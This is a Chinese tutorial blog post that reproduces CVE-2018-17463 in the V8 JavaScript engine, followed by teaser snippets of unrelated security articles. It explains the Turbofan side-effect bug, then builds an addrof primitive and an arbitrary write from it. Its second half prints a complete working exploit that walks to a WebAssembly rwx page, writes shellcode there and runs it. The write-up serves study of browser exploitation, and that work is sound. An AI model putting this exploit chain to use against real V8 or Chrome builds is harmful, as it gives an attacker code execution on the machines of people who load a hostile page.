通过一个CVE零基础入门V8-pwn

一颗小胡椒2021-11-08 16:06:19

跟随P4nda大佬的博客:http://p4nda.top/2019/06/11/%C2%96CVE-2018-17463/#Reference

复现了CVE-2018-17463,在一些大佬懒得讲的地方加了一些理解和解释,比较新手向

commit: 568979f4d891bafec875fab20f608ff9392f4f29

v8环境搭建:https://zhuanlan.zhihu.com/p/159646912

漏洞存在于src/compiler/js-operator.cc:625

#define CACHED_OP_LIST(V)                                              ... ...  V(CreateObject, Operator::kNoWrite, 1, 1)                            ... ...

问题是对JSCreateObject的操作存在误判,V8认为CreateObject不存在副作用,所以是kNoWrite,副作用就是指某个操作改变了某些全局变量或其他的系统状态等等。

但是实际上,在Turbofan的generic-lowering阶段,generic-lowering作用是将JS前缀指令转换为更简单的调用和stub调用。Turbofan把JSCreateObject节点用Builtins函数kCreateObjectWithoutProperties代替,而kCreateObjectWithoutProperties就是一个stub调用。

(这里一些源码就不放了,新手向新手向,想细看源码的可以移步大佬的博客)

如果一路跟进下去,在JSObject::NormalizeProperties函数中,可以发现该函数会调用Map::Normalize根据原有的map生成一个新的map,并且利用新的map重新构建输入的Object,这明显是一个具有side-effect的操作。

也就是说这个函数会改变我们传进去的参数object。然后看这句代码:

可以看到,新生成的map是字典模式的。所以最后我们输入的object即便原来是fast模式,也会变成字典模式。所以JSCreate并不是KNoWrite的。

KNoWrite是一个枚举类型的标志:

那么我们如何实现JSCreate操作呢,这里可以通过Object.create触发

其函数定义为:

Object.create(proto, [propertiesObject])

第二个参数是可选的,如果写了就会把它加入到新创建的对象的可枚举属性中。然后第一个参数是作为新创建的对象的原型,这也就满足了上面说的一个对象作为另一个对象的原型的条件。

接下来我们用d8去调一下试试:

首先我们声明一个对象:

可以看到此时a是fast模式,然后我们执行Object.create(a)试试:

可以看到,我们只是将a当做一个参数去调用了一个函数,a本身的模式就被改变了。

现在我们只知道a的模式被改变了,那么对应到具体的内存中又发生了哪些变化呢,我们用gdb调进去看看:

先放调试的js代码:

var a={x:1,y:2,z:3};a.b=4;a.c=5;a.d=6;%DebugPrint(a);%SystemBreak();Object.create(a);%DebugPrint(a);%SystemBreak();

我们首先来到第一个断点:

这是a的结构,有六个属性,其中有三个标志为properties,还有三个我们可以通过查看object的map:

发现是inobject properties,也就是保存在结构体内部的属性。

我们可以直接查看a所在的内存:

可以发现,第一个八字节,存的是object对应的map,第二个八字节:

可以看到里面存放了我们后来添加进去的三个属性,并且是按顺序存储。

然后我们看进入到第二个断点处:

可以看到a的map已经变成了字典模式,符合我们上面对它进行的分析。

然后我们查看a的内存:

我们发现x,y,z的属性值不见了,我们再去查看properties:

发现长度变成了6,并且结构变成了hashtable,也就是哈希表。

到了这里,我们发现,Object.create对一个Object的影响,无论原来的属性是inobject properties还是properties,都搞到properties中,并且把原来的线性结构改成hash表的字典结构。

现在我们已经知道了这个side-effect,那么我们如何利用它呢?

首先我们看一个函数:

function foo(o) { return o.a + o.b; }

其IR code 如下:

CheckHeapObject o CheckMap o, map1 r0 = Load [o + 0x18] CheckHeapObject o CheckMap o, map1 r1 = Load [o + 0x20] r2 = Add r0, r1 CheckNoOverflow Return r2

大意就是检查map,赋值,检查map,赋值,相加,检查溢出,返回

当两个检查节点中间的操作是kNoWrite时,第二个检查就变成了多余的,所以我们可以先访问一个对象的内部属性,然后调用Object.create(),由于JS引擎默认这个操作是kNoWrite的,所以可能会导致我们再访问变量的时候不检查了。具体利用方法为:

首先定义一个数组,初始化一个a属性,然后再额外添加一个b属性,然后利用Object.create(数组),改变其内部存储,然后返回b属性。

function attack(){    function change(x){        x.a;        Object.create(x);        return x.b;    }
    for(let i =0;i<10000;i++)    {        let x={a:0x1234};        x.b=0x5678;        let res=change(x);        if(res!=0x5678)        {            console.log(i);            console.log("CVE-2018-17463 exists in the d8");            return;        }    }    console.log("no cve")}attack()

把这段代码扔d8里跑一下:

可以看到确实触发了漏洞

由于它是由顺序表变成了哈希表,具有一定的随机性,每个属性的偏移位置是不固定的,这给我们的稳定利用带来了难度,但是我们又发现了一个规律:

当我们对两个属性名相同的对象进行上面的操作时,相同的属性名所在的偏移是相同的,尽管他们的属性值不同。

接下来就到了比较难懂的地方了,我们抓住相同的属性名偏移相同这一特点,以及V8会有一定可能因为认为Object.create的操作是kNoWrite的而放弃第二次检查这两个特点,去构造一个冲突,什么冲突呢,属性名偏移冲突。

我们先来看代码:

let OPTIMIZATION_NUM = 10000let OBJ_LEN  = 0x30
function getOBJ(){    let res = {a:0x1234};    for (let i = 0; i< OBJ_LEN;i++){        eval(`res.${'b'+i} = -${0x4869 + i};        `);            }    return res;}
function findCollision(){    let find_obj = [];    for (let i = 0;i        find_obj[i] = 'b'+i;    }    eval(`        function bad_create(x){            x.a;            this.Object.create(x);            ${find_obj.map((b) => `let ${b} = x.${b};`).join('')}            return [${find_obj.join(', ')}];        }    `);    for (let i = 0; i        let tmp = bad_create(getOBJ());        for (let j = 0 ;j            if(tmp[j] != -(j+0x4869) && tmp[j] < -0x4868 && tmp[j] > -(1+OBJ_LEN +0x4869) ){                console.log('b'+ j +' & b' + -(tmp[j]+0x4869) +" are collision in directory");                //return ['b'+j , 'b' + -(tmp[j]+0x4869)];            }        }    }    throw "not found collision ";}findCollision();

由于本人是刚学V8两天的小白,仅仅这段代码就看了足足一个小时,还好最后也是看懂了,这里来讲讲它做了什么:

可以这样理解,我们先搞出来一个对象,赋一些属性上去,这里注意,一定要是有规律的赋,怎么算有规律呢,我们需要能够做到通过属性名知道属性值,并且能够通过属性值知道属性名,这里可以采用字母+编号的方式。比如b12=120;b13=121;b14=122这种方式,让其对应上。

做以上操作的时候代码中运用了模板字符串啊,eval等这些函数,以前也没怎么接触过js,确实是蒙了一小会,不过多百度百度也就懂了。

然后仿照上面我们判断引擎是否存在cve漏洞的方法,通过判断返回值是否符合预期我们就可以知道是否触发了漏洞,然后这里多了一个操作,如果不符合预期的话,那它应该是给我们返回了一个其他属性的值,什么值呢,这里就需要依靠之前设定的规律来找到,找到发生冲突的属性,假设是我们预期的返回值是A的,但是返回了B的属性值,说明漏洞发生了,数据内存结构被改变了。也就是说当我访问B的时候,它会给我B的属性值,当我访问A的时候,它还会给我B的属性值。

为什么这样就可以利用了呢?

我们上面已经发现了,相同的属性名,偏移不变,所以如果我们新建一个object,然后添加两个属性,名字就叫A和B,此时我去访问A,就可以得到B的数据了,如果B中存了object类型的数据,那么我正常通过B去访问,引擎检测到我要打印object的话,它会显示类型名,即object,如果A中本来存了浮点型的数据,这样打印的时候,会把对应偏移的数据当成浮点型来打印,也就是会打印真值,而对应偏移的数据其实是B的object的地址,这样就拿到了addrof原语。

我们来看一下实现代码:

o.X = {x1:1.1,x2:1.2}; o.Y = {y1:obj};
function bad_create(o){ o.a; this.Object.create(o); return o.X.x1;}

这样的话看似返回的应该是1.1,但是实际上返回的是浮点型的object的地址,我们做一下浮点转换即可。

有了addrof原语,我们还需要能够做到任意地址读写,这里借用了ArrayBuffer这一数据结构。我们先来看一下ArrayBuffer的结构长啥样:

pwndbg> v8print 0x1d4b8ef8e1a90x1d4b8ef8e1a9: [JSArrayBuffer] - map: 0x350743c04371  [FastProperties] - prototype: 0x29b14b610fd1 map = 0x350743c043c1>- elements: 0x236c6c482cf1 0]> [HOLEY_ELEMENTS] - embedder fields: 2 - backing_store: 0x5652a87208f0 - byte_length: 1024 - neuterable - properties: 0x236c6c482cf1 0]> {}- embedder fields = {    (nil)    (nil) }
其长度由byte_length指定,而实际读写的内存位于backing_store,当可以修改一个ArrayBuffer的backing_store时就可以对任意地址进行读写。而此成员在结构体中的偏移是0x20
也就是说我们需要构造一个往偏移+0x20处写的操作就可以控制ArrayBuffer读写哪里的内存。
然后我们来研究一下fast模式下的内存结构,我们先看这段代码执行的结果:
var a={x0:0x41414141};%DebugPrint(a);%SystemBreak();
可以看到第一个属性值出现在了偏移为0x18的位置
那么如果换成这种嵌套的写法呢:
var a={x0:{x1:1.1,x2:1.2}};%DebugPrint(a);%SystemBreak();
我们再来看一下:
我们会发现,0x18存的是0x20处的地址,然后0x20是一个新的对象的起始地址,然后1.2存在了0x20偏移0x20的地方,那么结合之前的漏洞,我们可以知道,当我们去修改X.x0.x2的时候,就是在修改Y.object偏移0x20位置的值了。
也就是说我们有了任意写了,那么如何任意读呢,由于我们是利用ArrayBuffer来进行的任意地址写,读肯定也要借助它,这里用了DataView:
它可以方便的读取ArrayBuffer里的数据。
最后一个问题,我们有了任意地址读写,我们应该考虑的是往一个rwx的区域写shellcode,然后去执行,我们往哪里写呢?
利用的是wasm机制,这里给出一个wasm的实例构造:
var buffer = new Uint8Array([0,97,115,109,1,0,0,0,1,138,128,128,128,0,2,96,0,1,127,96,1,127,1,127,2,140,128,128,128,0,1,3,101,110,118,4,112,117,116,115,0,1,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,146,128,128,128,0,2,6,109,101,109,111,114,121,2,0,5,112,52,110,100,97,0,1,10,145,128,128,128,0,1,139,128,128,128,0,1,1,127,65,16,16,0,26,32,0,11,11,150,128,128,128,0,1,0,65,16,11,16,72,97,99,107,101,100,32,98,121,32,80,52,110,100,97,0]);var wasmImports = {  env: {    puts: function puts (index) {      console.log(utf8ToString(h, index));    }  }};let m = new WebAssembly.Instance(new WebAssembly.Module(buffer),wasmImports);let h = new Uint8Array(m.exports.memory.buffer);let f = m.exports.p4nda;f();
其中,f是一个JSFunction对象,只不过其实际执行代码存放于一个rwx的内存中,通过写该内存的代码区域,最终调用f(),触发来执行shellcode。
首先,构造wasm对象f方便shellcode执行,并利用addrof原语泄露f的地址。然后,定义一个ArrayBuffer对象,并利用gc机制使其被放入Old Space使地址更加稳定。之后,不断的利用该ArrayBuffer对象,泄露并修改其backing_store成员指向待读写区域,具体修改顺序为从JSFucntion到rwx区域的寻址流程:
JSFucntion -(0x18)->SharedFunctionInfo -(0x8)-> WasmExportedFunctionData -(0x10)-> WasmInstanceObject -(0xc8)-> imported_function_targets -(0)-> rwx_area
我们通过一串调用链一路读下去,读到一个,写到ArrayBuffer的backing_store中,然后接着读指定偏移的数据,再写过去,一直做到我们得到rwx地址,然后往rwx里面写好shellcode,最后调用f()触发即可。
有关wasm机制可以通过这篇文章进行一个初步的了解:https://www.cnblogs.com/jixiaohua/p/10425805.html
到这里所有的攻击原理已经了解清楚了,这里放一下大佬的exp,我这小垃圾自己写肯定是写不来的了,不过至少大佬的exp已经基本弄懂了。
function gc(){    /*fill-up the 1MB semi-space page, force V8 to scavenge NewSpace.*/    for(var i=0;i<((1024 * 1024)/0x10);i++)    {        var a= new String();    }}function give_me_a_clean_newspace(){    /*force V8 to scavenge NewSpace twice to get a clean NewSpace.*/    gc()    gc()}let f64 = new Float64Array(1);let u32 = new Uint32Array(f64.buffer);function d2u(v) {    f64[0] = v;    return u32;}function u2d(lo, hi) {    u32[0] = lo;    u32[1] = hi;    return f64;}function hex(b) {    return ('0' + b.toString(16)).substr(-2);}// Return the hexadecimal representation of the given byte array.function hexlify(bytes) {    var res = [];    for (var i = 0; i < bytes.length; i++)        res.push(hex(bytes[i]));    return res.join('');}// Return the binary data represented by the given hexdecimal string.function unhexlify(hexstr) {    if (hexstr.length % 2 == 1)        throw new TypeError("Invalid hex string");    var bytes = new Uint8Array(hexstr.length / 2);    for (var i = 0; i < hexstr.length; i += 2)        bytes[i/2] = parseInt(hexstr.substr(i, 2), 16);    return bytes;}function hexdump(data) {    if (typeof data.BYTES_PER_ELEMENT !== 'undefined')        data = Array.from(data);    var lines = [];    for (var i = 0; i < data.length; i += 16) {        var chunk = data.slice(i, i+16);        var parts = chunk.map(hex);        if (parts.length > 8)            parts.splice(8, 0, ' ');        lines.push(parts.join(' '));    }    return lines.join('');}// Simplified version of the similarly named python module.var Struct = (function() {    // Allocate these once to avoid unecessary heap allocations during pack/unpack operations.    var buffer      = new ArrayBuffer(8);    var byteView    = new Uint8Array(buffer);    var uint32View  = new Uint32Array(buffer);    var float64View = new Float64Array(buffer);    return {        pack: function(type, value) {            var view = type;        // See below            view[0] = value;            return new Uint8Array(buffer, 0, type.BYTES_PER_ELEMENT);        },        unpack: function(type, bytes) {            if (bytes.length !== type.BYTES_PER_ELEMENT)                throw Error("Invalid bytearray");            var view = type;        // See below            byteView.set(bytes);            return view[0];        },        // Available types.        int8:    byteView,        int32:   uint32View,        float64: float64View    };})();//// Tiny module that provides big (64bit) integers.//// Copyright (c) 2016 Samuel Groß//// Requires utils.js//// Datatype to represent 64-bit integers.//// Internally, the integer is stored as a Uint8Array in little endian byte order.function Int64(v) {    // The underlying byte array.    var bytes = new Uint8Array(8);    switch (typeof v) {        case 'number':            v = '0x' + Math.floor(v).toString(16);        case 'string':            if (v.startsWith('0x'))                v = v.substr(2);            if (v.length % 2 == 1)                v = '0' + v;            var bigEndian = unhexlify(v, 8);            bytes.set(Array.from(bigEndian).reverse());            break;        case 'object':            if (v instanceof Int64) {                bytes.set(v.bytes());            } else {                if (v.length != 8)                    throw TypeError("Array must have excactly 8 elements.");                bytes.set(v);            }            break;        case 'undefined':            break;        default:            throw TypeError("Int64 constructor requires an argument.");    }    // Return a double whith the same underlying bit representation.    this.asDouble = function() {        // Check for NaN        if (bytes[7] == 0xff && (bytes[6] == 0xff || bytes[6] == 0xfe))            throw new RangeError("Integer can not be represented by a double");        return Struct.unpack(Struct.float64, bytes);    };    // Return a javascript value with the same underlying bit representation.    // This is only possible for integers in the range [0x0001000000000000, 0xffff000000000000)    // due to double conversion constraints.    this.asJSValue = function() {        if ((bytes[7] == 0 && bytes[6] == 0) || (bytes[7] == 0xff && bytes[6] == 0xff))            throw new RangeError("Integer can not be represented by a JSValue");        // For NaN-boxing, JSC adds 2^48 to a double value's bit pattern.        this.assignSub(this, 0x1000000000000);        var res = Struct.unpack(Struct.float64, bytes);        this.assignAdd(this, 0x1000000000000);        return res;    };    // Return the underlying bytes of this number as array.    this.bytes = function() {        return Array.from(bytes);    };    // Return the byte at the given index.    this.byteAt = function(i) {        return bytes[i];    };    // Return the value of this number as unsigned hex string.    this.toString = function() {        return '0x' + hexlify(Array.from(bytes).reverse());    };    // Basic arithmetic.    // These functions assign the result of the computation to their 'this' object.    // Decorator for Int64 instance operations. Takes care    // of converting arguments to Int64 instances if required.    function operation(f, nargs) {        return function() {            if (arguments.length != nargs)                throw Error("Not enough arguments for function " + f.name);            for (var i = 0; i < arguments.length; i++)                if (!(arguments[i] instanceof Int64))                    arguments[i] = new Int64(arguments[i]);            return f.apply(this, arguments);        };    }    // this = -n (two's complement)    this.assignNeg = operation(function neg(n) {        for (var i = 0; i < 8; i++)            bytes[i] = ~n.byteAt(i);        return this.assignAdd(this, Int64.One);    }, 1);    // this = a + b    this.assignAdd = operation(function add(a, b) {        var carry = 0;        for (var i = 0; i < 8; i++) {            var cur = a.byteAt(i) + b.byteAt(i) + carry;            carry = cur > 0xff | 0;            bytes[i] = cur;        }        return this;    }, 2);    // this = a - b    this.assignSub = operation(function sub(a, b) {        var carry = 0;        for (var i = 0; i < 8; i++) {            var cur = a.byteAt(i) - b.byteAt(i) - carry;            carry = cur < 0 | 0;            bytes[i] = cur;        }        return this;    }, 2);}// Constructs a new Int64 instance with the same bit representation as the provided double.Int64.fromDouble = function(d) {    var bytes = Struct.pack(Struct.float64, d);    return new Int64(bytes);};// Convenience functions. These allocate a new Int64 to hold the result.// Return -n (two's complement)function Neg(n) {    return (new Int64()).assignNeg(n);}// Return a + bfunction Add(a, b) {    return (new Int64()).assignAdd(a, b);}// Return a - bfunction Sub(a, b) {    return (new Int64()).assignSub(a, b);}// Some commonly used numbers.Int64.Zero = new Int64(0);Int64.One = new Int64(1);function utf8ToString(h, p) {  let s = "";  for (i = p; h[i]; i++) {    s += String.fromCharCode(h[i]);  }  return s;}function log(x,y = ' '){    console.log("[+] log:", x,y);   }
let OPTIMIZATION_NUM = 10000;let OBJ_LEN = 0x20;let X;let Y;// use a obj to check whether CVE-2018-17463 exists
function check_vul(){    function bad_create(x){        x.a;        Object.create(x);        return x.b;
    }
    for (let i = 0;i < OPTIMIZATION_NUM; i++){        let x = {a : 0x1234};        x.b = 0x5678;         let res = bad_create(x);        //log(res);        if( res != 0x5678){            log("CVE-2018-17463 exists in the d8");            return;        }
    }    throw "bad d8 version";
}
// check collision between directory mode and fast mode
function getOBJ(){    let res = {a:0x1234};    for (let i = 0; i< OBJ_LEN;i++){        eval(`res.${'b'+i} = -${0x4869 + i};        `);            }    return res;}function printOBJ(x){    for(let i = 0;i        eval(`console.log("log:["+${i}+"] :"+x.${'b'+i})`);        //console.log('['+i+']'+x[i]);    }}function findCollision(){    let find_obj = [];    for (let i = 0;i        find_obj[i] = 'b'+i;    }    eval(`        function bad_create(x){            x.a;            this.Object.create(x);            ${find_obj.map((b) => `let ${b} = x.${b};`).join('')}            return [${find_obj.join(', ')}];        }    `);    for (let i = 0; i        let tmp = bad_create(getOBJ());        for (let j = 0 ;j            if(tmp[j] != -(j+0x4869) && tmp[j] < -0x4868 && tmp[j] > -(1+OBJ_LEN +0x4869) ){                log('b'+ j +' & b' + -(tmp[j]+0x4869) +" are collision in directory");                return ['b'+j , 'b' + -(tmp[j]+0x4869)];            }        }    }    throw "not found collision ";}
// create primitive -> addroffunction getOBJ4addr(obj){    let res = {a:0x1234};    for (let i = 0; i< OBJ_LEN;i++){        if (('b'+i)!= X &&('b'+i)!= Y  ){        eval(`res.${'b'+i} = 1.1;        `);        }        if (('b'+i)== X){            eval(`                res.${X} = {x1:1.1,x2:1.2};                `);                    }        if (('b'+i)== Y){            eval(`                res.${Y} = {y1:obj};                `);                    }            }    return res;}function addrof(obj){    eval(`        function bad_create(o){            o.a;            this.Object.create(o);            return o.${X}.x1;        }    `);
    for (let i = 0;i < OPTIMIZATION_NUM;i++){         let ret = bad_create( getOBJ4addr(obj));         let tmp =Int64.fromDouble(ret).toString();        if (ret!= 1.1){            log(tmp);            return ret;         }    }    throw "not found addrof obj";
}
// create primitive -> Arbitrary writefunction getOBJ4read(obj){    let res = {a:0x1234};    for (let i = 0; i< OBJ_LEN;i++){        if (('b'+i)!= X &&('b'+i)!= Y  ){        eval(`res.${'b'+i} = {};        `);        }        if (('b'+i)== X){            eval(`                res.${X} = {x0:{x1:1.1,x2:1.2}};                `);                    }        if (('b'+i)== Y){            eval(`                res.${Y} = {y1:obj};                `);                    }            }    return res;}function arbitraryWrite(obj,addr){    eval(`        function bad_create(o,value){            o.a;            this.Object.create(o);            let ret = o.${X}.x0.x2;             o.${X}.x0.x2 = value;            return ret;        }    `);
    for (let i = 0;i < OPTIMIZATION_NUM;i++){         let ret = bad_create( getOBJ4read(obj),addr);        let tmp =Int64.fromDouble(ret).toString();        if (ret!= 1.2){            return ;        }    }    throw "not found arbitraryWrite";
}
// exploit
function exploit(){    var buffer = new Uint8Array([0,97,115,109,1,0,0,0,1,138,128,128,128,0,2,96,0,1,127,96,1,127,1,127,2,140,128,128,128,0,1,3,101,110,118,4,112,117,116,115,0,1,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,146,128,128,128,0,2,6,109,101,109,111,114,121,2,0,5,112,52,110,100,97,0,1,10,145,128,128,128,0,1,139,128,128,128,0,1,1,127,65,16,16,0,26,32,0,11,11,150,128,128,128,0,1,0,65,16,11,16,72,97,99,107,101,100,32,98,121,32,80,52,110,100,97,0]);    var wasmImports = {      env: {        puts: function puts (index) {          console.log(utf8ToString(h, index));        }      }    };    let m = new WebAssembly.Instance(new WebAssembly.Module(buffer),wasmImports);    let h = new Uint8Array(m.exports.memory.buffer);    let f = m.exports.p4nda;    console.log("step 0: Game start");    f();    console.log("step 1: check whether vulnerability exists");    check_vul();    console.log("step 2: find collision");    [X,Y] = findCollision();
    let mem = new ArrayBuffer(1024);     give_me_a_clean_newspace();    console.log("step 3: get address of JSFunciton");    let addr = addrof(f);    console.log("step 4: make ArrayBuffer's backing_store -> JSFunciton");    arbitraryWrite(mem,addr);    let dv = new DataView(mem);    SharedFunctionInfo_addr = Int64.fromDouble(dv.getFloat64(0x17,true));    console.log("[+] SharedFunctionInfo addr :"+SharedFunctionInfo_addr);    console.log("step 5: make ArrayBuffer's backing_store ->  SharedFunctionInfo");    arbitraryWrite(mem,SharedFunctionInfo_addr.asDouble());    WasmExportedFunctionData_addr =  Int64.fromDouble(dv.getFloat64(0x7,true));    console.log("[+] WasmExportedFunctionData addr :"+WasmExportedFunctionData_addr);    console.log("step 6: make ArrayBuffer's backing_store ->  WasmExportedFunctionData");    arbitraryWrite(mem,WasmExportedFunctionData_addr.asDouble());    WasmInstanceObject_addr =  Int64.fromDouble(dv.getFloat64(0xf,true));    console.log("[+] WasmInstanceObject addr :"+WasmInstanceObject_addr);    console.log("step 7: make ArrayBuffer's backing_store ->  WasmInstanceObject");    arbitraryWrite(mem,WasmInstanceObject_addr.asDouble());    imported_function_targets_addr =  Int64.fromDouble(dv.getFloat64(0xc7,true));    console.log("[+] imported_function_targets addr :"+imported_function_targets_addr);    console.log("step 8: make ArrayBuffer's backing_store ->  imported_function_targets");    arbitraryWrite(mem,imported_function_targets_addr.asDouble());    code_addr =  Int64.fromDouble(dv.getFloat64(0,true));    console.log("[+] code addr :"+code_addr);    log("step 9: make ArrayBuffer's backing_store ->  rwx_area");    arbitraryWrite(mem,code_addr.asDouble());    console.log("step 10: write shellcode for poping up a calculator");    let shellcode_calc = [72, 49, 201, 72, 129, 233, 247, 255, 255, 255, 72, 141, 5, 239, 255, 255, 255, 72, 187, 124, 199, 145, 218, 201, 186, 175, 93, 72, 49, 88, 39, 72, 45, 248, 255, 255, 255, 226, 244, 22, 252, 201, 67, 129, 1, 128, 63, 21, 169, 190, 169, 161, 186, 252, 21, 245, 32, 249, 247, 170, 186, 175, 21, 245, 33, 195, 50, 211, 186, 175, 93, 25, 191, 225, 181, 187, 206, 143, 25, 53, 148, 193, 150, 136, 227, 146, 103, 76, 233, 161, 225, 177, 217, 206, 49, 31, 199, 199, 141, 129, 51, 73, 82, 121, 199, 145, 218, 201, 186, 175, 93];    let write_tmp = new Uint8Array(mem);    write_tmp.set(shellcode_calc);    console.log("[+] Press Any key to execute Shellcode");    readline();    f();
}
exploit();
然后我们来具体打一下看看效果:
计算器确实被丢出来了,拜拜~
evalarraybuffer
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强网杯-WriteUp
2022-08-02 08:02:30
然后使用 admin/123登录管理员账户即可,登录后存在购买页面,经过测试,使用如下 payload 可以绕过检查,再访问主页面即可获得 flag
跟随P4nda大佬的博客复现了CVE-2018-17463,在一些大佬懒得讲的地方加了一些理解和解释,比较新手向。
笔者片面的从多年乙方经验(不涉及监管层面能拿到的数据)的技术层面来讨论下大攻防演练多人运动下的溯源反制思路,以及作为反制团队如何与蓝队其他成员之间进行配合反制相关的工作。 如有写的不对的地方及遗漏的地方(肯定有的),请多多交流。
(翻译版)Numpy反序列化命令执行浅析代码审计Python安全编码和代码审计Python代码审计连载之一:CSRF?p=738Python代码审计连载之三:Server Side Request?p=744Python代码审计连载之四:Command Execution?p=747Dangerous Python Functions, Part 1Dangerous Python Functions, Part 2Dangerous Python Functions, Part 3记一下PythonWeb代码审计应该注意的地方廖新喜大佬的python代码审计工具来自openstack安全团队的python代码静态审计工具来自openstack安全团队的python代码静态审计工具2代码审计工具pytxfkxfk的python自动化代码审计?
菜刀、冰蝎、蚁剑、哥斯拉的流量特征
2023年11月上旬,研究人员开始跟踪npm上的可疑出版物。有问题的包包含一个加密的blob,该blob似乎是针对目标计算机的密钥:只有使用一些本地计算机信息和解密密钥才能解密。然后将解密的blob传递给eval(...)执行。研究人员解密此负载,发现密钥是一家主要金融机构的domain.tld。此解密的有效负载包含一个嵌入的二进制文件,该二进制文件巧妙地将用户凭据泄露到相关目标公司内部的Micr
之前在强网杯做过一道popmaster,在打SCTF又遇到这种类型的题目,简单总结一下这类题目的思路和一些暴力取巧的做法。
sqlmap --os-shell原理
2021-09-24 07:04:41
前言当数据库为MySQL,PostgreSQL或Microsoft SQL Server,并且当前用户有权限使用特定的函数。
国外媒体近期披露,威胁攻击者正在积极利用 Brick Builder 中的关键远程代码执行 (RCE) 漏洞,在易受攻击的网站上执行恶意 PHP 代码。
前言前段时间在刷CTF题目的时候碰到了各种过滤,其中给我印象最为深刻的是无字母数字Webshell,但是刷题的时候总觉得理解不是那么透彻,于是考虑写一篇总结文章好好总结一下。
一颗小胡椒
暂无描述